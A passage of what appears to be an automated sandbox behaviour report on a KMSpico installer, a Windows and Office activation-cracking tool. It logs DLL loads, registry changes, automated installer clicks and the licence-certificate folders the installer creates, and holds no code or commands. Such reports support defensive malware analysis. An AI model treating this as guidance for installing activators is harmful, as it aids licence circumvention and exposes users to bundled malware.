              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wlidsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wtsapi32.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gamestreamingext.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msauserext.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: tbs.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptnet.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptngc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncryptprov.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: elscore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: elstrans.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
              Source: Uninstall KMSpico.lnk.6.drLNK file: ..\..\..\..\..\..\Program Files\KMSpico\UninsHs.exe
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpWindow found: window name: TWizardFormJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: Next >
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpAutomated click: I accept the agreement
              Source: C:\Program Files\KMSpico\KMSELDI.exeAutomated click: Continue
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Program Files\KMSpico\KMSELDI.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpicoJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\certJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\AccessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\ExcelJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\GrooveJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\InfoPathJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\OneNoteJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\OutlookJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\PowerPointJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\ProjectProJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\ProjectStdJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\ProPlusJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\PublisherJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\SmallBusBasicsJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\StandardJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\VisioJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2010\WordJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\AccessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\ExcelJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\InfoPathJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\LyncJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\OneNoteJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\OutlookJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\PowerPointJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\ProjectProJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\ProjectStdJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\ProPlusJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\PublisherJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\StandardJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\VisioProJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\VisioStdJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2013\WordJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\AccessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\ExcelJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\MondoJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\OneNoteJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\OutlookJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\PowerPointJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\ProjectProJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\ProjectStdJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\ProPlusJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\PublisherJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\SkypeforBusinessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\StandardJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\VisioProJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\VisioStdJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscert2016\WordJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\CoreJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EducationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\EnterpriseSJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW10\ProfessionalJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\BusinessNJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW6\EnterpriseJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\EmbeddedJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\EnterpriseJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW7\ProfessionalJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreNJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\CoreSingleLanguageJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\EnterpriseNJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalNJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW8\ProfessionalWMCJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDirectory created: C:\Program Files\KMSpico\cert\kmscertW81\CoreConnectedSingleLanguageJump to behavior
